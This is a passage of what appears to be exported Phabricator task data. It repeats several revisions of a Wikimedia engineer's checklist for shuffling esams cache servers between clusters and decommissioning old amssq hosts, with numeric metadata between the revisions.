   4. [ ] cp3039 -> cp3006 -> amssq5[78]
   5. [ ] cp3046 -> cp3007 -> amssq59,60
   6. [ ] cp3047 -> cp3008 -> amssq6[12]
   7. [ ] cp3048 -> cp3009
   8. [ ] cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish,varnish-frontend,nginx -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster."
440765,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3. [X] cp303[23] + cp304[23] -> add to upload cluster

4. [ ] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3. [X] cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. [ ] cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1. [ ] cp3036 -> cp3003 -> amssq5[12]
   2. [ ] cp3037 -> cp3004 -> amssq5[34]
   3. [ ] cp3038 -> cp3005 -> amssq5[56]
   4. [ ] cp3039 -> cp3006 -> amssq5[78]
   5. [ ] cp3046 -> cp3007 -> amssq59,60
   6. [ ] cp3047 -> cp3008 -> amssq6[12]
   7. [ ] cp3048 -> cp3009
   8. [ ] cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428540530,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,0.5,0.3333333333333333,0.3333333333333333,0.5,0.16666666666666666,5.333333333333333,0.5,0.0,0.0,0.0,1.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,2.6666666666666665,7.833333333333333,0.3333333333333333,0.5,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.16666666666666666,0.0,2.6666666666666665,0.16666666666666666,0.5,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.16666666666666666,0.5,0.0,0.5,0.0,0.0,0.0,15.833333333333334,0.16666666666666666,0.6666666666666666,0.0,0.16666666666666666,0.3333333333333333,0.0,0.0,0.0,0.5,0.0,0.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,1.8333333333333333,1.3333333333333333,2.0,0.5,1.3333333333333333,3.3333333333333335,0.0,0.0,0.16666666666666666,0.0,2.5,0.0,4.333333333333333,0.0,1.1666666666666667,7.833333333333333,7.0,0.0,0.0,0.0,1.1666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.16666666666666666,10.0,3.501831501831502,0.6245421245421244,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3. [X] cp303[23] + cp304[23] -> add to upload cluster

4. [ ] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3. [X] cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. [ ] cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1. [ ] cp3036 -> cp3003 -> amssq5[12]
   2. [ ] cp3037 -> cp3004 -> amssq5[34]
   3. [ ] cp3038 -> cp3005 -> amssq5[56]
   4. [ ] cp3039 -> cp3006 -> amssq5[78]
   5. [ ] cp3046 -> cp3007 -> amssq59,60
   6. [ ] cp3047 -> cp3008 -> amssq6[12]
   7. [ ] cp3048 -> cp3009
   8. [ ] cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster."
440729,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3. [X] cp303[23] + cp304[23] -> add to upload cluster

4. [ ] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3. [ ]cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. [ ]cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1. [ ] cp3036 -> cp3003 -> amssq5[12]
   2. [ ] cp3037 -> cp3004 -> amssq5[34]
   3. [ ] cp3038 -> cp3005 -> amssq5[56]
   4. [ ] cp3039 -> cp3006 -> amssq5[78]
   5. [ ] cp3046 -> cp3007 -> amssq59,60
   6. [ ] cp3047 -> cp3008 -> amssq6[12]
   7. [ ] cp3048 -> cp3009
   8. [ ] cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428538301,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,0.5,0.3333333333333333,0.3333333333333333,0.5,0.16666666666666666,5.5,0.5,0.0,0.0,0.0,1.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,2.6666666666666665,7.833333333333333,0.3333333333333333,0.5,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.16666666666666666,0.0,2.6666666666666665,0.16666666666666666,0.5,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.16666666666666666,0.5,0.0,0.5,0.0,0.0,0.0,15.666666666666666,0.16666666666666666,0.6666666666666666,0.0,0.16666666666666666,0.3333333333333333,0.0,0.0,0.0,0.5,0.0,0.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,1.8333333333333333,1.3333333333333333,1.8333333333333333,0.5,1.3333333333333333,3.3333333333333335,0.0,0.0,0.16666666666666666,0.0,2.5,0.0,4.333333333333333,0.0,1.1666666666666667,7.833333333333333,7.0,0.0,0.0,0.0,1.1666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.16666666666666666,9.833333333333334,3.507244607244607,0.6257427757427757,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3. [X] cp303[23] + cp304[23] -> add to upload cluster

4. [ ] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3. [ ]cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. [ ]cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1. [ ] cp3036 -> cp3003 -> amssq5[12]
   2. [ ] cp3037 -> cp3004 -> amssq5[34]
   3. [ ] cp3038 -> cp3005 -> amssq5[56]
   4. [ ] cp3039 -> cp3006 -> amssq5[78]
   5. [ ] cp3046 -> cp3007 -> amssq59,60
   6. [ ] cp3047 -> cp3008 -> amssq6[12]
   7. [ ] cp3048 -> cp3009
   8. [ ] cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster."
440728,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3. [X] cp303[23] + cp304[23] -> add to upload cluster

4. [ ] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3. [ ]cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. [ ]cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1. cp3036 -> cp3003 -> amssq5[12]
   2. cp3037 -> cp3004 -> amssq5[34]
   3. cp3038 -> cp3005 -> amssq5[56]
   4. cp3039 -> cp3006 -> amssq5[78]
   5. cp3046 -> cp3007 -> amssq59,60
   6. cp3047 -> cp3008 -> amssq6[12]
   7. cp3048 -> cp3009
   8. cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428538269,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,0.5,0.3333333333333333,0.3333333333333333,0.5,0.16666666666666666,5.5,0.5,0.0,0.0,0.0,1.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,2.6666666666666665,8.0,0.3333333333333333,0.5,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.16666666666666666,0.0,2.8333333333333335,0.16666666666666666,0.5,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.16666666666666666,0.5,0.0,0.5,0.0,0.0,0.0,16.0,0.16666666666666666,0.6666666666666666,0.0,0.16666666666666666,0.3333333333333333,0.0,0.0,0.0,0.5,0.0,0.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,1.8333333333333333,1.3333333333333333,1.8333333333333333,0.5,1.3333333333333333,3.5,0.0,0.0,0.16666666666666666,0.0,2.5,0.0,4.333333333333333,0.0,1.1666666666666667,8.0,7.333333333333333,0.0,0.0,0.0,1.1666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.16666666666666666,8.833333333333334,3.5811201906707524,0.6481741573033707,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1. [X] Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2. [X] cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3. [X] cp303[23] + cp304[23] -> add to upload cluster

4. [ ] 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1. [X] cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2. [X] cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3. [ ]cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. [ ]cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. [ ] 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1. cp3036 -> cp3003 -> amssq5[12]
   2. cp3037 -> cp3004 -> amssq5[34]
   3. cp3038 -> cp3005 -> amssq5[56]
   4. cp3039 -> cp3006 -> amssq5[78]
   5. cp3046 -> cp3007 -> amssq59,60
   6. cp3047 -> cp3008 -> amssq6[12]
   7. cp3048 -> cp3009
   8. cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster."
440727,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1. Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2. cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3. cp303[23] + cp304[23] -> add to upload cluster

4. 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1. cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2. cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3. cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1. cp3036 -> cp3003 -> amssq5[12]
   2. cp3037 -> cp3004 -> amssq5[34]
   3. cp3038 -> cp3005 -> amssq5[56]
   4. cp3039 -> cp3006 -> amssq5[78]
   5. cp3046 -> cp3007 -> amssq59,60
   6. cp3047 -> cp3008 -> amssq6[12]
   7. cp3048 -> cp3009
   8. cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428538220,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,0.5,0.3333333333333333,0.3333333333333333,0.5,0.16666666666666666,5.333333333333333,0.5,0.0,0.0,0.0,1.6666666666666667,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,2.8333333333333335,8.0,0.3333333333333333,0.5,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.16666666666666666,0.0,2.8333333333333335,0.16666666666666666,0.5,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.16666666666666666,0.5,0.0,0.5,0.0,0.0,0.0,15.833333333333334,0.16666666666666666,0.6666666666666666,0.0,0.16666666666666666,0.3333333333333333,0.0,0.0,0.0,0.5,0.0,0.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,1.8333333333333333,1.3333333333333333,1.0,0.5,1.5,3.5,0.0,0.0,0.16666666666666666,0.0,2.8333333333333335,0.0,4.166666666666667,0.0,1.1666666666666667,8.0,7.833333333333333,0.0,0.0,0.0,1.1666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.16666666666666666,6.166666666666667,3.698062558356676,0.6537114845938375,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

1. Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.

2. cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).

3. cp303[23] + cp304[23] -> add to upload cluster

4. 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  1. cp3034 -> cp3015 -> cp3011 -> amssq4[34]
  2. cp3035 -> cp3016 -> cp3012 -> amssq4[56]
  3. cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1. cp3036 -> cp3003 -> amssq5[12]
   2. cp3037 -> cp3004 -> amssq5[34]
   3. cp3038 -> cp3005 -> amssq5[56]
   4. cp3039 -> cp3006 -> amssq5[78]
   5. cp3046 -> cp3007 -> amssq59,60
   6. cp3047 -> cp3008 -> amssq6[12]
   7. cp3048 -> cp3009
   8. cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster."
440725,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

~~
1. Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.
~~

~~2. cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).~~

~~3. cp303[23] + cp304[23] -> add to upload cluster~~

4. 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  ~~1. cp3034 -> cp3015 -> cp3011 -> amssq4[34]~~
  ~~2. cp3035 -> cp3016 -> cp3012 -> amssq4[56]~~
  3. cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1. cp3036 -> cp3003 -> amssq5[12]
   2. cp3037 -> cp3004 -> amssq5[34]
   3. cp3038 -> cp3005 -> amssq5[56]
   4. cp3039 -> cp3006 -> amssq5[78]
   5. cp3046 -> cp3007 -> amssq59,60
   6. cp3047 -> cp3008 -> amssq6[12]
   7. cp3048 -> cp3009
   8. cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428538155,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,0.5,0.3333333333333333,0.3333333333333333,0.5,0.16666666666666666,5.333333333333333,0.5,0.0,0.0,0.0,1.6666666666666667,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,2.8333333333333335,8.0,0.3333333333333333,0.5,0.0,0.3333333333333333,0.0,0.5,0.0,0.0,0.6666666666666666,0.0,0.16666666666666666,0.0,2.8333333333333335,0.16666666666666666,0.5,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.16666666666666666,0.5,0.0,0.5,0.0,0.0,0.0,15.5,0.16666666666666666,0.6666666666666666,0.0,0.16666666666666666,0.3333333333333333,0.0,0.0,0.0,0.5,0.0,0.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,1.8333333333333333,1.3333333333333333,1.0,0.5,1.5,3.5,0.0,0.0,0.16666666666666666,0.0,2.6666666666666665,0.0,4.333333333333333,0.0,1.1666666666666667,8.0,8.833333333333334,0.0,0.0,0.0,1.1666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.16666666666666666,5.666666666666667,3.7419934640522876,0.657703081232493,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

~~
1. Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.
~~

~~2. cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).~~

~~3. cp303[23] + cp304[23] -> add to upload cluster~~

4. 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  ~~1. cp3034 -> cp3015 -> cp3011 -> amssq4[34]~~
  ~~2. cp3035 -> cp3016 -> cp3012 -> amssq4[56]~~
  3. cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1. cp3036 -> cp3003 -> amssq5[12]
   2. cp3037 -> cp3004 -> amssq5[34]
   3. cp3038 -> cp3005 -> amssq5[56]
   4. cp3039 -> cp3006 -> amssq5[78]
   5. cp3046 -> cp3007 -> amssq59,60
   6. cp3047 -> cp3008 -> amssq6[12]
   7. cp3048 -> cp3009
   8. cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster."
440724,Expand HTTP frontend clusters with new hardware,"As I see it today, basically the remaining software-level plan for bringing up esams capacity goes something like this (subject to change as work is done and situation evolves!):

(Basic equivalencies for amssq: very very conservatively for the mid-shuffle capacities: one new cp30xx node is worth 3x amssq*, and one old cp30xx node is worth 2x amssq*)

~~1. Sort out some generic puppet work for backend<->backend weight differentials and set up standard pybal/varnish weight ratios per hardware class (already partially done), so that during various mixed-hardware scenarios below (some temporary, some final), weights are appropriate to best use capacity.~~

~~2. cp303[01] + cp304[01] (4 nodes) -> add to text cluster, decom amssq31-42 (12 nodes) in exchange (obviously, this process will take a while for cache refills and be done in substeps).~~

~~3. cp303[23] + cp304[23] -> add to upload cluster~~

4. 4x new-upload->upload->mobile->text shuffle process: This subprocess is: pool the first node into upload, depool the second node from upload and pool it into mobile, depool the third node from mobile and pool it into text, and then decom the listed amssq*:
  ~~1. cp3034 -> cp3015 -> cp3011 -> amssq4[34]~~
  ~~2. cp3035 -> cp3016 -> cp3012 -> amssq4[56]~~
  3. cp3044 -> cp3017* -> cp3013* -> amssq4[78]
  4. cp3045 -> cp3018* -> cp3014* -> amssq49,50
  (* - these 4 nodes need storage re-mkfs when wiping as well, to correct flags)
5. 8x new-upload->upload->text shuffle process (basically as above without the mobile step, and we run out of amssq to decom near the end):
   1. cp3036 -> cp3003 -> amssq5[12]
   2. cp3037 -> cp3004 -> amssq5[34]
   3. cp3038 -> cp3005 -> amssq5[56]
   4. cp3039 -> cp3006 -> amssq5[78]
   5. cp3046 -> cp3007 -> amssq59,60
   6. cp3047 -> cp3008 -> amssq6[12]
   7. cp3048 -> cp3009
   8. cp3049 -> cp3010

For nodes which are switching from one role to another in the shuffling above: they don't need to be reinstalled, they just need a switching process something like: puppet disable -> remove from puppet+pybal nodelists for current cluster -> stop varnish -> wipe storage -> switch role in puppet -> enable+run puppet -> update puppet+pybal nodelists as member of new cluster.",,,1428538124,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,True,,,-12,True,0.5,0.3333333333333333,0.3333333333333333,0.5,0.16666666666666666,5.333333333333333,0.5,0.0,0.0,0.0,1.6666666666666667,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,3.0,8.0,0.3333333333333333,0.5,0.0,0.3333333333333333,0.0,0.5,0.0,0.0,0.6666666666666666,0.0,0.16666666666666666,0.0,2.8333333333333335,0.16666666666666666,0.5,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.16666666666666666,0.3333333333333333,0.0,0.5,0.0,0.0,0.0,15.5,0.16666666666666666,0.6666666666666666,0.0,0.16666666666666666,0.3333333333333333,0.0,0.0,0.0,0.5,0.0,0.5,0.16666666666666666,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,1.8333333333333333,1.3333333333333333,1.0,0.5,1.5,3.5,0.0,0.0,0.16666666666666666,0.0,2.8333333333333335,0.0,3.8333333333333335,0.0,1.1666666666666667,8.0,8.833333333333334,0.0,0.0,0.0,1.1666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.16666666666666666,5.666666666666667,3.774789634729393,0.6583476764199655,"As I see it today, basically the remaining software-level plan for bringing up esams 